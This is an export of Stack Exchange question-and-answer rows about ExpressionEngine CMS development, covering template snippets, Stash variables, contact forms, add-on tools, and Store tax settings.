  <row Id="15156" PostTypeId="1" AcceptedAnswerId="15170" CreationDate="2013-10-30T15:31:47.177" Score="1" ViewCount="476" Body="&lt;p&gt;I have and email form on my website with some jQuery validation in place. What is the best way to plug this form into EE to email me output leaving the jQuery validation in place?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is front end code (jQuery) performing some validation on my form, that is checking for an actual email address or spam etc... When I use EE's build in form module it seems to ignore this front end validation so anything can go into the form and it submits OK. I need a solution that retains this front end validation within my form before it has been submitted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi here is my front end code does this help at all?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;p&amp;gt;&#xA;                                          &amp;lt;label for=&quot;name&quot;&amp;gt;Your Name&amp;lt;/label&amp;gt;&#xA;                                          &amp;lt;input type=&quot;text&quot; name=&quot;message[]&quot; id=&quot;name&quot; class=&quot;required&quot;&amp;gt;&#xA;                                        &amp;lt;/p&amp;gt;&#xA;&#xA;                                        &amp;lt;p&amp;gt;&#xA;                                          &amp;lt;label for=&quot;email&quot;&amp;gt;Your Email&amp;lt;/label&amp;gt;&#xA;                                          &amp;lt;input type=&quot;text&quot; name=&quot;message[]&quot; id=&quot;email&quot; class=&quot;required email&quot;&amp;gt;&#xA;                                        &amp;lt;/p&amp;gt;&#xA;&#xA;                                        &amp;lt;p&amp;gt;&#xA;                                          &amp;lt;label for=&quot;subject&quot;&amp;gt;Subject&amp;lt;/label&amp;gt;&#xA;                                          &amp;lt;input type=&quot;text&quot; name=&quot;message[]&quot; id=&quot;subject&quot; class=&quot;required&quot;&amp;gt;&#xA;                                        &amp;lt;/p&amp;gt;&#xA;&#xA;                                        &amp;lt;p&amp;gt;&#xA;                                          &amp;lt;label for=&quot;message&quot;&amp;gt;Your Message&amp;lt;/label&amp;gt;&#xA;                                          &amp;lt;textarea name=&quot;message[]&quot; id=&quot;message&quot; class=&quot;required&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                                        &amp;lt;/p&amp;gt;&#xA;&#xA;                                        &amp;lt;input type=&quot;hidden&quot; name=&quot;from&quot; value=&quot;&quot; /&amp;gt;&#xA;                                        &amp;lt;input type=&quot;hidden&quot; name=&quot;subject&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;                                        &amp;lt;p&amp;gt;&#xA;                                          &amp;lt;input type=&quot;submit&quot; value=&quot;Send it&quot;&amp;gt;&#xA;                                          &amp;lt;img class=&quot;ajax-loader&quot; src=&quot;/_/images/bckg/loader_light.gif&quot; alt=&quot;Sending ...&quot;&amp;gt;&#xA;                                        &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="1068" LastEditDate="2013-11-07T16:18:42.230" LastActivityDate="2013-11-07T16:18:42.230" Title="Email Contact Form" Tags="|forms|" AnswerCount="1" CommentCount="4" ClosedDate="2013-10-30T18:17:26.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="15157" PostTypeId="1" CreationDate="2013-10-30T15:38:27.963" Score="3" ViewCount="536" Body="&lt;p&gt;On a template I am calling in a series of snippets like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{sn-head}&#xA;&#xA;{sn-header}&#xA;&#xA;{sn-page}&#xA;&#xA;{sn-listing-videos}&#xA;&#xA;{sn-footer}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;sn-listing-videos&lt;/code&gt; snippet contains an entries loop like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;video&quot; limit=&quot;12&quot; paginate=&quot;both&quot; disable=&quot;categories|member_data&quot; dynamic=&quot;no&quot;}&#xA;&#xA;    {sn-listing-pagination}&#xA;&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;sn-listing-pagination&lt;/code&gt; snippet isn't rendering in this instance. In fact, none of my snippets are rendered with the &lt;code&gt;sn-listing-videos&lt;/code&gt; snippet at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few other templates which contain listing snippets for other channels which contain the same code apart from the channel parameter in the exp:channel:entries tag - and the pagination snippet works just fine in these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the &lt;a href=&quot;http://devot-ee.com/add-ons/snippetssync&quot; rel=&quot;nofollow&quot;&gt;SnippetSync&lt;/a&gt; module. I have run a test after having uninstalled it, but still no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could cause this problem for that particular template/snippet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code for a different listings page where the same set up works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{sn-head}&#xA;&#xA;{sn-header}&#xA;&#xA;{sn-page}&#xA;&#xA;{sn-listing-resource}&#xA;&#xA;{sn-footer}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sn-listing-resource&lt;/code&gt; snippet code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;resource&quot; limit=&quot;5&quot; paginate=&quot;both&quot; disable=&quot;categories|member_data&quot; dynamic=&quot;no&quot;}&#xA;    {sn-listing-pagination}&#xA;&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;=================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT #2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content of pagination snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;      &amp;lt;div class=&quot;listing-pagination&quot;&amp;gt;&#xA;          {pagination_links}&#xA;            {previous_page}&#xA;              &amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Prev&amp;lt;/a&amp;gt;&#xA;            {/previous_page}&#xA;&#xA;            {page}&#xA;              &amp;lt;a href=&quot;{pagination_url}&quot; {if current_page}class=&quot;active&quot;{/if}&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;            {/page}&#xA;&#xA;            {next_page}&#xA;              &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;button slim next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;            {/next_page}&#xA;          {/pagination_links}&#xA;      &amp;lt;/div&amp;gt;&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="744" LastEditorUserId="744" LastEditDate="2013-10-30T18:27:43.463" LastActivityDate="2013-10-30T20:54:05.747" Title="Snippet inside snippet not rendering" Tags="|snippets|snippet-sync|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15158" PostTypeId="2" ParentId="15155" CreationDate="2013-10-30T15:41:11.627" Score="1" Body="&lt;p&gt;Looks like your missing the closing &lt;code&gt;&quot;&lt;/code&gt; on the &lt;code&gt;author_id&lt;/code&gt; parameter. Also, the &lt;code&gt;{parents}&lt;/code&gt; tag needs to be nested inside the relationship field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;fairs&quot; entry_id=&quot;{active_fair}&quot; dynamic=&quot;no&quot;}&#xA;    {application_related_fair}&#xA;        {application_related_fair:parents field=&quot;application_related_fair&quot; author_id=&quot;{member_id}&quot;&quot; limit=&quot;1&quot;}&#xA;            {application_related_fair:parents:entry_id}&#xA;         {/application_related_fair:parents}&#xA;    {/application_related_fair}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-10-30T15:47:11.717" LastActivityDate="2013-10-30T15:47:11.717" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15159" PostTypeId="2" ParentId="15157" CreationDate="2013-10-30T16:01:57.457" Score="3" Body="&lt;p&gt;This is due to the parse order. EE parse snippets at a very early stage all at once, hence not being able to have a snippet within a snippet. I suggest removing the &lt;code&gt;{sn-listing-pageination}&lt;/code&gt; and just hard code that in the &lt;code&gt;{sn-listing-videos}&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could convert all your snippets/variables over to &lt;a href=&quot;http://devot-ee.com/add-ons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; and set the &lt;code&gt;{sn-listing-pagination}&lt;/code&gt; to a early parsed variable. This will then parse before the &lt;code&gt;{sn-listing-video}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-10-30T16:01:57.457" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15160" PostTypeId="2" ParentId="14690" CreationDate="2013-10-30T16:14:19.933" Score="3" Body="&lt;p&gt;Turns out this was a bug. The bugreport (&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19837&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19837&lt;/a&gt;) says to do this, which has resolved it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file system/expressionengine/fieldtypes/file/ft.file.php at line 147 replace:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;container.find(&quot;input[type=hidden]&quot;).val(function(i, current_value) { &#xA;with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;container.find(&quot;input[type=hidden][name*='hidden']&quot;).val(function(i, current_value) { &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In file system/expressionengine/libraries/File_field.php at line 125 add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$vars['directory'] = form_hidden($field_name.'_directory', $vars['upload_location_id']); &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In file system/expressionengine/views/_shared/file/field.php at line 23 add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHPOPEN else: PHPCLOSE&#xA;        &lt;p&gt;PHPOPEN=$directoryPHPCLOSE&lt;/p&gt; &lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2013-10-30T16:14:19.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15161" PostTypeId="1" AcceptedAnswerId="15166" CreationDate="2013-10-30T16:19:54.253" Score="1" ViewCount="246" Body="&lt;p&gt;After updating matrix to 2.5.9  (EE 2.5.5) I'm getting a blank screen and error message both on the front-end and in the control panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method EE_Localize::human_time() in /www/eh7377/public_html/cmssystem/expressionengine/third_party/matrix/celltypes/date.php on line 92 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on an entry form that uses a date field inside a matrix (along with a few other fields).&#xA;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-10-30T17:36:30.453" Title="Call to undefined method EE_Localize::human_time() after matrix update" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15162" PostTypeId="1" AcceptedAnswerId="15164" CreationDate="2013-10-30T16:21:16.337" Score="1" ViewCount="101" Body="&lt;p&gt;What is the best practice for creating a site that will have a number of main nav sections along with sub-sections? Do you create a channel per section, a template group per section, or both? If it helps, I'm planning to use Taxonomy--I don't know if this would change the answer.&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2013-10-30T16:58:56.087" Title="Navigation: A channel per section, a template group per section, or both?" Tags="|navigation|taxonomy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15163" PostTypeId="2" ParentId="15155" CreationDate="2013-10-30T16:31:46.597" Score="1" Body="&lt;p&gt;UPDATE 2 - use a stash embed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; scope=&quot;user&quot;}&#xA;  {stash:mem-id}{member_id}{/stash:mem-id}&#xA;{/exp:stash:set}&#xA;&#xA;{if logged_in}&#xA;  {exp:stash:set_list name=&quot;active_application&quot; parse_tags=&quot;yes&quot; scope=&quot;user&quot;}&#xA;    {stash:embed:path-to:template parse_stage=&quot;both&quot; process=&quot;start&quot;}&#xA;  {/exp:stash:set_list}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;path-to/template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;fairs&quot; entry_id=&quot;{active_fair}&quot; dynamic=&quot;no&quot;}&#xA;  {parents field=&quot;application_related_fair&quot; author_id=&quot;{stash:mem-id}&quot; limit=&quot;1&quot; status=&quot;not Closed&quot;}&#xA;    {stash:app_id}{parents:entry_id}{/stash:app_id}&#xA;    {stash:app_status}{parents:status}{/stash:app_status}&#xA;  {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ah, I think I read your question incorrectly. Does using &lt;code&gt;{author_id}&lt;/code&gt; instead of &lt;code&gt;{member_id}&lt;/code&gt; work?&#xA;&amp;nbsp;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;ORIGINAL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{member_id}&lt;/code&gt; is not available inside of the &lt;code&gt;exp:channel:entries&lt;/code&gt; tag pair because the tag pair is already parsing member data associated with the entry. &lt;code&gt;{logged_in_member_id}&lt;/code&gt; will not work either. (&lt;a href=&quot;http://iamjustinlong.com/blog/single/expressionengine_search_parameter_woes/&quot; rel=&quot;nofollow&quot;&gt;ref&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;should&lt;/em&gt; be able to use Stash (or even a basic snippet) to set the &lt;code&gt;{member_id}&lt;/code&gt; outside of the channel entries loop first.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;mem-id&quot; scope=&quot;user&quot;}{member_id}{/exp:stash:set}&#xA;&#xA;{exp:channel:entries channel=&quot;fairs&quot; entry_id=&quot;{active_fair}&quot; dynamic=&quot;no&quot;}&#xA;    {application_related_fair}&#xA;        {application_related_fair:parents field=&quot;application_related_fair&quot; author_id=&quot;{exp:stash:get name='mem-id'}&quot; limit=&quot;1&quot;}&#xA;            {application_related_fair:parents:entry_id}&#xA;         {/application_related_fair:parents}&#xA;    {/application_related_fair}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-30T16:52:57.523" LastActivityDate="2013-10-30T16:52:57.523" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15164" PostTypeId="2" ParentId="15162" CreationDate="2013-10-30T16:58:56.087" Score="5" Body="&lt;p&gt;Knowing that you will use Taxonomy &lt;em&gt;does&lt;/em&gt; change the answer. With Taxonomy the answer is &quot;Neither.&quot; ...Unless that's really how you prefer to build your site!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taxonomy is very flexible, and will do it's job regardless of how you set up your Channels, template groups, and templates. You don't need to set up channels to hold navigation-related data, that's all handled by Taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'd recommend setting up your Channels and templates based on what's efficient and easy to maintain for you, and intuitive and effort-saving for your client. Then you can configure Taxonomy as fits your site content and navigation needs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often use a combination of one or more &quot;Pages&quot; Channels (in conjunction with the Pages module and some re-usable templates) and some template groups that correspond to specific site sections/channels. Then I tell Taxonomy which channels entries and templates are available for linking to when creating a navigation node. Taxonomy also includes an option to use the Pages URI of an entry, too, which is handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can gain even more flexibility through the Taxonomy template tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to summarize, it's totally your choice how to set the site up (and there are many approaches to accomplish the same result).  Taxonomy will work with a variety of channel and template set-ups.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-10-30T16:58:56.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15165" PostTypeId="2" ParentId="15155" CreationDate="2013-10-30T17:05:14.557" Score="2" Body="&lt;p&gt;Thanks to Stephen and Siebird for all your help working through.  I finally got it to work just using {logged_in_member_id} instead of author_id or just member_id... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not 100% sure why this works, i guess thats parsed earlier than just member_id?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;    {exp:stash:set_list name=&quot;active_application&quot;  parse_tags=&quot;yes&quot; parse_vars=&quot;yes&quot;}&#xA;        {exp:channel:entries channel=&quot;fairs&quot; entry_id=&quot;{active_fair}&quot;  dynamic=&quot;no&quot; parse=&quot;inward&quot;}&#xA;            {parents field=&quot;application_related_fair&quot; author_id=&quot;{logged_in_member_id}&quot; limit=&quot;1&quot; status=&quot;not Closed&quot;}&#xA;                {stash:app_id}{parents:entry_id}{/stash:app_id}&#xA;                {stash:app_status}{parents:status}{/stash:app_status}&#xA;            {/parents}&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:set_list}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then the block thats reading it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;active_application&quot; }&#xA;    Active Application: {app_id} | app_status:{app_status} &#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="727" LastActivityDate="2013-10-30T17:05:14.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15166" PostTypeId="2" ParentId="15161" CreationDate="2013-10-30T17:05:21.337" Score="3" Body="&lt;p&gt;I think this is a bug specific to the EE 2.5.5 version. It looks like the error was occurring in SuperSearch too in 2.5.5 (&lt;a href=&quot;http://www.solspace.com/forums/viewthread/17280/#62841&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/17280/#62841&lt;/a&gt;) and upgrading to EE v2.6 fixes it.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-10-30T17:36:30.453" LastActivityDate="2013-10-30T17:36:30.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15167" PostTypeId="1" AcceptedAnswerId="15168" CreationDate="2013-10-30T17:28:39.410" Score="15" ViewCount="2063" Body="&lt;p&gt;What are the available tools/tutorials for learning to develop ExpressionEngine addons (modules, fields, extensions, plugins and accessories)?&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-03T16:22:09.740" Title="Tools for learning ExpressionEngine addon development" Tags="|add-on-development|addons|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15168" PostTypeId="2" ParentId="15167" CreationDate="2013-10-30T17:28:39.410" Score="23" Body="&lt;p&gt;The following list should get you started:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/&quot;&gt;&lt;strong&gt;ExpressionEngine Add-On Development Docs&lt;/strong&gt;&lt;/a&gt;: &#xA;links to guidelines, reference material, and tutorials for developing Plugins, Modules, and Extensions for ExpressionEngine&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://ee-recipes.com/&quot;&gt;&lt;strong&gt;ExpressionEngine Add-on Development Recipes&lt;/strong&gt;&lt;/a&gt;: a collection of articles and tutorials to help you learn how to build ExpressionEngine add-ons&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.putyourlightson.net/add-on-development-cheat-sheet&quot;&gt;&lt;strong&gt;Add-On Development Cheat Sheet&lt;/strong&gt;&lt;/a&gt;: freely downloadable cheat sheet and Accessory for ExpressionEngine 2.x. Its purpose is to help add-on developers get used to coding for EE 2, speed up development time and increase productivity.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://mijingo.com/products/screencasts/how-to-develop-expressionengine-add-on/&quot;&gt;&lt;strong&gt;Building an ExpressionEngine Add-on&lt;/strong&gt;&lt;/a&gt;: Commercial yes, but an excellent video by well-respected add-on developer @low giving a solid introduction into planning and building an add-on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pkg.io/&quot;&gt;&lt;strong&gt;Pkg.io&lt;/strong&gt;&lt;/a&gt;: Package Builder for ExpressionEngine which will quickly generate boilerplate code for all types of ExpressionEngine add-ons. It includes helpful comments in the source and will jump-start development of your custom add-on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/rsanchez/generator-ee-addon&quot;&gt;generator-ee-addon&lt;/a&gt;&lt;/strong&gt; An ExpressionEngine Add-On generator for &lt;a href=&quot;http://yeoman.io/&quot;&gt;Yeoman&lt;/a&gt;. Capable of building modules, plugins, extensions, accessories and fieldtypes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/devkit-for-ee-2.0&quot;&gt;DevKit for EE 2.0&lt;/a&gt;&lt;/strong&gt; Generate a new module skeleton, yaml 2 dbforge code generation and global variables / snippets sync from filesystem.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/objectivehtml/channel-data&quot;&gt;Channel-Data (objectivehtml)&lt;/a&gt;&lt;/strong&gt; A helper class that compiles all the necessary models to easily gather ExpressionEngine channel data. The main benefit of this library is its ability to be dropped into any existing add-on and retrieve channel data extremely easily without having to load all the models. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/lukewilkins/EE-Add-On-Builder&quot;&gt;&lt;strong&gt;EE-Add-On-Builder&lt;/strong&gt;&lt;/a&gt; SublimeText plugin to easily build ExpressionEngine Add-Ons.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/putyourlightson/open-api&quot;&gt;&lt;strong&gt;Open API&lt;/strong&gt;&lt;/a&gt; - Front-end API for ExpressionEngine that provides authentication and CRUD functionality.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-02-03T16:22:09.740" LastActivityDate="2014-02-03T16:22:09.740" CommentCount="0" CommunityOwnedDate="2014-01-30T21:15:01.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="15169" PostTypeId="2" ParentId="14489" CreationDate="2013-10-30T17:51:36.247" Score="1" Body="&lt;p&gt;Sounds like you need to give your member group permissions to upload files in the &quot;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;File Upload Preferences&lt;/a&gt;&quot;.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setting is at the bottom of the page under the heading &quot;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#restrict-file-uploading-to-select-member-groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;Restrict file uploading to select member groups&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x4bOX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-30T17:51:36.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15170" PostTypeId="2" ParentId="15156" CreationDate="2013-10-30T17:59:46.083" Score="1" Body="&lt;p&gt;ExpressionEngine has a built-in &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/email/contact_form.html&quot; rel=&quot;nofollow&quot;&gt;email module&lt;/a&gt; for just this purpose. It's pretty limited though, but it will accomplish what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want something a bit more flexible, try Solspace's &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Freeform&lt;/a&gt;. There are both free and commercial versions available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think between the options I've mentioned you should find a good fit for your application. As with any EE module, they're not going to mess with your front-end, so your work on validation with jQuery should be safe.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-30T17:59:46.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15171" PostTypeId="2" ParentId="15132" CreationDate="2013-10-30T18:00:46.177" Score="2" Body="&lt;p&gt;You will want to make sure that you have changed both the &lt;strong&gt;Admin &gt; Email Configuration &gt; Return email address for auto-generated emails&lt;/strong&gt; as you have already done, also you will want to change Store &gt; Settings &gt; General &gt; Store Email Sender Address to be the new email address. Once you have done that it should be sending from the new email address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The email templates that an admin receives are set up on a per email basis. You would need to go to &lt;strong&gt;Store &gt; Settings &gt; Email Templates &gt; then click on each of the templates you would like the admin to receive&lt;/strong&gt; and make sure that you have added their email address to the BBC field and save the template.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="28" LastEditDate="2013-10-30T18:38:27.137" LastActivityDate="2013-10-30T18:38:27.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15172" PostTypeId="2" ParentId="15134" CreationDate="2013-10-30T18:01:46.477" Score="1" Body="&lt;p&gt;You will need to add a tax rule for each country that you need to apply the 20% tax to.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-30T18:01:46.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15173" PostTypeId="2" ParentId="15135" CreationDate="2013-10-30T19:16:12.357" Score="1" Body="&lt;p&gt;In Store 2 you can determine if you want the price to be tax-inclusive or not. If you choose to have the prices as tax-inclusive you will simply need to enter £25 for the price and Store will determine the taxable amount based upon the users location. For this to work properly though you will need to either set a default location for new carts or have the user enter their country to assign it to the cart. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-30T19:16:12.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15174" PostTypeId="1" AcceptedAnswerId="15179" CreationDate="2013-10-30T19:20:28.590" Score="1" ViewCount="241" Body="&lt;p&gt;I looked around and could not find how to have different types of Wygwam and Asset fields inside of Content Elements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I want to be able to have two different types of Wygwam fields. I assumed my template would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{wygwam}&#xA;    {if element_name == &quot;Address Content&quot;}&#xA;        &amp;lt;div class=&quot;address-content&quot;&amp;gt;{value}&amp;lt;/div&amp;gt;&#xA;    {if:else}&#xA;        {value}&#xA;    {/if}&#xA;{/wygwam}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not seem to work. Is this even possible at this point in time? Assets is giving me the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clarification would be awesome! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John&lt;/p&gt;&#xA;" OwnerUserId="1418" LastActivityDate="2013-10-30T20:24:26.687" Title="Pixel and Tonix Assets and Wygwam Fields within Content Elements" Tags="|assets|pixelandtonic|wygwam|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15175" PostTypeId="1" CreationDate="2013-10-30T19:36:49.690" Score="1" ViewCount="300" Body="&lt;p&gt;I'm interested in using the free version of Livefyre comments to replace my EE native module, at least for new content. Anyone had experience with this? I've seen Disqus plugins... Thanks,&#xA;Matthew&lt;/p&gt;&#xA;" OwnerUserId="2291" LastActivityDate="2013-10-30T20:31:12.710" Title="Has anyone integrated Livefyre comments with EE?" Tags="|comments|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
